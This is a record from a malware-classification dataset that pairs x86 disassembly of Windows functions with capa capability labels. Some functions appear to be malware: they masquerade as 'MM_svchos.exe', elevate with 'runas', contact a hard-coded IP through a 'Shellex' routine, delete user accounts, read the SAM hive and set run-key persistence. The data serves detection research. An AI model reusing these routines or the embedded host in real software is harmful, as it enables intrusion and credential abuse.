joyce8/EMBER2024-capa huggingface dataset:
Function at 0x458e94
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x475bb0]
cmp dword [eax + 0x30], 0
je 0x458f3e
cmp dword [ebx + 0x94], 0
jne 0x458f38
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x458e24
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x458f38
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x458efe
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x458f38
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413c80
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x458f0d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x459aa0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x459ad5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404088
jmp 0x459ae2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fec
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45ab4c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45ab8d
mov eax, esi
call fcn.00440de0
test al, al
je 0x45ab8d
mov eax, dword [ebx + 0x84]
call fcn.00440adc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45ab8d
push 0
mov eax, dword [ebx + 0x84]
call fcn.00440adc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45e254
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x45e282
mov eax, ebx
call fcn.0045ed08
cmp dword [ebx + 0x40], 0
je 0x45e27b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x45e2f3
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x45e2e5
cmp dword [ebx + 8], 0
je 0x45e2a4
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x45e2b6
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x45e2e5
cmp dword [ebx + 8], 0
je 0x45e297
cmp eax, 3
je 0x45e2c9
dec eax
jne 0x45e297
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x45e297
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x45e297
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x45e311
cmp dword [ebx + 0x14], 0xcc
je 0x45e311
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0045e31c
pop ebx
ret
Function at 0x10020f30
Capabilities:
Copy file

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10020f53
add esp, 0x104
ret
mov ecx, dword [esp + 0x108]
push 0
lea edx, [esp + 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x104
ret

Function at 0x10021410
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub esp, 0x140
push 0
push str.C:UsersPublicDocumentsMM_svchos.exe
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x10021436
call fcn.100209d0
test eax, eax
je 0x1002143d
xor eax, eax
add esp, 0x140
ret
lea eax, [esp + 0x3c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10021436
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push edi
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x44]
push edx
mov dword [esp + 0xc], 0x3c
mov dword [esp + 0x18], str.runas
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], 1
call esi
test eax, eax
jne 0x1002149f
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1002145b
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
nop
nop
nop
nop
nop
nop
nop

Function at 0x100214b0
Capabilities:
Create process on windows
Create thread

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
dec eax
push edi
jne 0x10021588
call fcn.10021410
mov esi, dword [sym.imp.MSVCRT.dll__access]
push 0
push str.C:UsersPublicDocumentsMM
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
cmp eax, 0xffffffff
jne 0x10021521
mov edi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.cmd__c_md_C:UsersPublicDocumentsMM
call edi
push 0
push str.C:UsersPublicDocumentsMM
call esi
add esp, 8
cmp eax, 0xffffffff
jne 0x10021521
push 0
push str.cmd__c_md_C:UsersPublicDocumentsMM
call edi
push 0x3e8
call ebx
push 0
push str.C:UsersPublicDocumentsMM
call esi
add esp, 8
cmp eax, 0xffffffff
je 0x10021500
push 0x1f4
call ebx
call fcn.10020f70
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10020fd0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10021551
push eax
call edi
push 0
push 0
push 0
push 0x100211c0
push 0
push 0
call esi
test eax, eax
je 0x10021569
push eax
call edi
sub esp, 0x848
mov ecx, 0x212
mov esi, str.27.124.13.32
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call sym.1.dll_Shellex
add esp, 0x848
pop edi
pop esi
mov eax, 1
pop ebx
ret 0xc
Function at 0x10024a50
Capabilities:
Get session information

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
mov ecx, dword [esp + 0x10]
push edx
xor eax, eax
push 0xa
push ecx
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
mov eax, dword [esp]
jne 0x10024a80
mov eax, dword [esp + 0xc]
add esp, 8
ret 4

Function at 0x10024a90
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 0x30c
mov edx, dword [esp + 0x310]
lea eax, [esp + 4]
lea ecx, [esp]
push eax
push ecx
push 5
push edx
push 0
mov dword [esp + 0x14], 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
jne 0x10024ac6
xor al, al
add esp, 0x30c
ret
mov eax, dword [esp]
push edi
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
lea eax, [esp + 0x14]
push 0x104
push eax
lea ecx, [esp + 0x120]
push 0xffffffffffffffff
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [esp + 0x318]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 1
pop edi
add esp, 0x30c
ret

Function at 0x10024b40
Capabilities:
Get session information

Disassembly:
sub esp, 8
mov edx, dword [esp + 0xc]
lea eax, [esp + 4]
push esi
lea ecx, [esp + 4]
push eax
push ecx
xor esi, esi
push 0x10
push edx
push esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10024bc9
mov ecx, dword [esp + 4]
movsx eax, byte [ecx]
sub eax, esi
je 0x10024ba2
dec eax
je 0x10024b8e
dec eax
jne 0x10024bb6
push ecx
mov esi, 0x1011fdd0
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, 0x1011fdcc
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
push ecx
mov esi, str.Console
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov esi, dword [esp + 0x10]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret 4
mov eax, dword [esp + 0x10]
pop esi
add esp, 8
ret 4
Function at 0x100251b0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MFC42.DLL_operatornew
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, 0x14
call fcn.1002d130
add eax, 1
adc edx, 0
push edx
push eax
push 0x1011fe28
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret

Function at 0x100252e0
Capabilities:
List groups for user account

Disassembly:
sub esp, 0x310
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x122]
mov word [esp + 0x120], si
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x328]
lea ecx, [esp + 0x124]
push eax
push ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], esi
call dword [sym.imp.MSVCRT.dll_mbstowcs]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
push eax
push 0xffffffffffffffff
push ecx
push 1
lea edx, [esp + 0x134]
push esi
push edx
push esi
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x1002542d
mov ebp, dword [esp + 0x18]
cmp ebp, esi
je 0x1002542d
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], esi
cmp eax, esi
jbe 0x1002542d
mov ebx, dword [esp + 0x328]
jmp 0x10025396
xor esi, esi
cmp ebp, esi
je 0x1002542d
mov eax, dword [ebp]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, dword [ebp]
mov esi, eax
push ecx
push 0x1011fe2c
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
lea edx, [esp + 0x38]
push esi
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
call dword [sym.imp.MSVCRT.dll_free]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x24
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test edx, edx
je 0x10025400
mov byte [edx + ebx], 0x2f
inc edx
xor eax, eax
test ecx, ecx
jle 0x10025415
lea esi, [edx + ebx]
mov dl, byte [esp + eax + 0x20]
mov byte [esi + eax], dl
inc eax
cmp eax, ecx
jl 0x10025409
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add ebp, 4
inc eax
cmp eax, ecx
mov dword [esp + 0x14], eax
jb 0x10025394
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x310
ret
Function at 0x10025c20
Capabilities:
Delete user account
Query or enumerate registry value

Disassembly:
sub esp, 0xb4
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push 1
call fcn.10010bb0
mov ebx, eax
mov byte [esp + 0x13], 0
push ebx
call fcn.100245f0
add esp, 4
mov esi, eax
push esi
push 0
call sub.NETAPI32.dll_NetUserDel
push esi
mov edi, eax
call sub.MFC42.DLL_operatordelete
add esp, 4
test edi, edi
jne 0x10025c81
lea eax, [esp + 0x13]
push 1
push eax
mov ecx, ebp
mov byte [esp + 0x1b], 0xa0
call fcn.10010b00
mov ecx, ebp
call fcn.10025700
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb4
ret
cmp edi, 0x8ad
je 0x10025d36
push ebx
lea ecx, [esp + 0x48]
push str.SAMSAMDomainsAccountUsersNames_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
xor esi, esi
lea edx, [esp + 0x14]
lea eax, [esp + 0x44]
push edx
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x10025cce
push 0x32
call edi
inc esi
cmp esi, 0x64
jg 0x10025d3d
jmp 0x10025ca9
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push 0x1012b064
push ecx
mov dword [esp + 0x34], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x24]
push eax
push str._08X
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov ecx, ebp
push ebx
call fcn.10025950
test eax, eax
je 0x10025d36
lea edx, [esp + 0x24]
mov ecx, ebp
push edx
call fcn.10025730
test eax, eax
jne 0x10025d3d
mov ecx, ebp
call fcn.10025700
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xb4
ret

Function at 0x10025d50
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MFC42.DLL_operatornew
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.1002d130
add eax, 1
adc edx, 0
push edx
push eax
push 0x1011fe28
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x10029fb0
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2c
xor eax, eax
lea ecx, [esp + 0xc]
mov dword [esp], eax
push ecx
mov dword [esp + 8], eax
mov byte [esp + 4], 3
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
lea ecx, [esp]
push 0xc
push ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 9], edx
mov dword [esp + 0xd], eax
call fcn.10010b00
add esp, 0x2c
ret

Function at 0x1002a180
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
push ebx
push esi
lea ecx, [esp + 0xc]
push edi
lea edx, [esp + 0xc]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1002a216
mov edx, dword [esp + 0xc]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
mov ebx, dword [esp + 0x18]
push edx
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.WTSAPI32.dll_WTSFreeMemory
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1002a20a
mov edi, 0x101201e0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
mov edi, 0x101201e0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x1002adf0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x110
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
mov dword [esp + 0xc], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
mov dword [esp + 8], 0x50
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.Favorites
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x1012d1f4], eax
mov byte [eax], 0x94
lea eax, [esp + 0x10]
mov dword [0x1012012c], 1
push eax
call fcn.1002ab10
mov ecx, dword [0x1012012c]
mov edx, dword [0x1012d1f4]
add esp, 4
push 0x42
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov dword [0x1012d1f4], eax
pop edi
add esp, 0x110
ret
Function at 0x47eb26
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0047e70d

Function at 0x47f054
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0043e3a0
mov eax, dword [0x4ac200]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00479c21
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x47f096
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x47f1f2
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00494e90
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x502880]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00480e72
mov ecx, dword [esi*4 + 0x502880]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x47f1eb
cmp eax, dword [edi + ecx + 0x24]
jne 0x47f1eb
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x47f1eb
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00480e72
add esp, 0x14
test edx, edx
jl 0x47f1eb
jg 0x47f161
test eax, eax
jb 0x47f1eb
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x47f1eb
jl 0x47f17b
cmp dword [ebp - 0x1008], eax
ja 0x47f1eb
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x47f199
test ebx, ebx
je 0x47f1d2
cmp ecx, edi
jae 0x47f1d2
mov al, byte [ecx]
cmp al, 0xd
jne 0x47f1b3
lea eax, [edi - 1]
cmp ecx, eax
jae 0x47f1bf
cmp byte [ecx + 1], 0xa
jne 0x47f1bf
inc ecx
jmp 0x47f1bf
movzx eax, al
movsx eax, byte [eax + 0x4ac4e0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x47f199
cmp edx, ebx
jne 0x47f199
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x47f1f0
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0043ccc7
leave
ret
Function at 0x47fffb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x502880]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x48003b
cmp byte [ebx], 0xa
jne 0x48003b
or byte [eax + edi + 0x28], 4
jmp 0x480040
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x48013e
mov al, byte [edx]
cmp al, 0x1a
je 0x480120
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x48006f
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x480094
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x48009e
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x480051
jmp 0x48013e
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x48011b
cmp dword [ebp - 0xc], 0
je 0x48011b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x502880]
test byte [eax + edi + 0x28], 0x48
je 0x4800f5
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4800e0
mov byte [esi], dl
jmp 0x4800f1
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x502880]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x48013e
cmp byte [ebp - 1], 0xa
jne 0x480104
cmp esi, ebx
jne 0x480104
mov byte [esi], 0xa
jmp 0x48013d
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00480e90
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x48013e
mov byte [esi], 0xd
jmp 0x48013d
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x502880]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x48013a
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x48013e
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x480147
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x502880]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x48018a
cmp word [esi], dx
jne 0x48018a
or byte [edi + eax + 0x28], 4
jmp 0x48018f
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4802e2
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4802c2
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4801d1
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x480207
cmp eax, edx
jae 0x480213
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4801a9
jmp 0x4802e2
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4802be
cmp dword [ebp - 0x14], 0
je 0x4802be
mov eax, dword [ebx*4 + 0x502880]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x480296
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x48025f
mov word [esi], cx
jmp 0x480292
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x502880]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x502880]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x502880]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4802e2
pop ebx
cmp word [ebp - 4], bx
jne 0x4802a7
cmp esi, dword [ebp + 0xc]
jne 0x4802a7
mov word [esi], bx
jmp 0x4802df
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00480e90
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4802e2
push 0xd
jmp 0x4802db
mov ecx, dword [ebx*4 + 0x502880]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4802d9
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4802e2
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret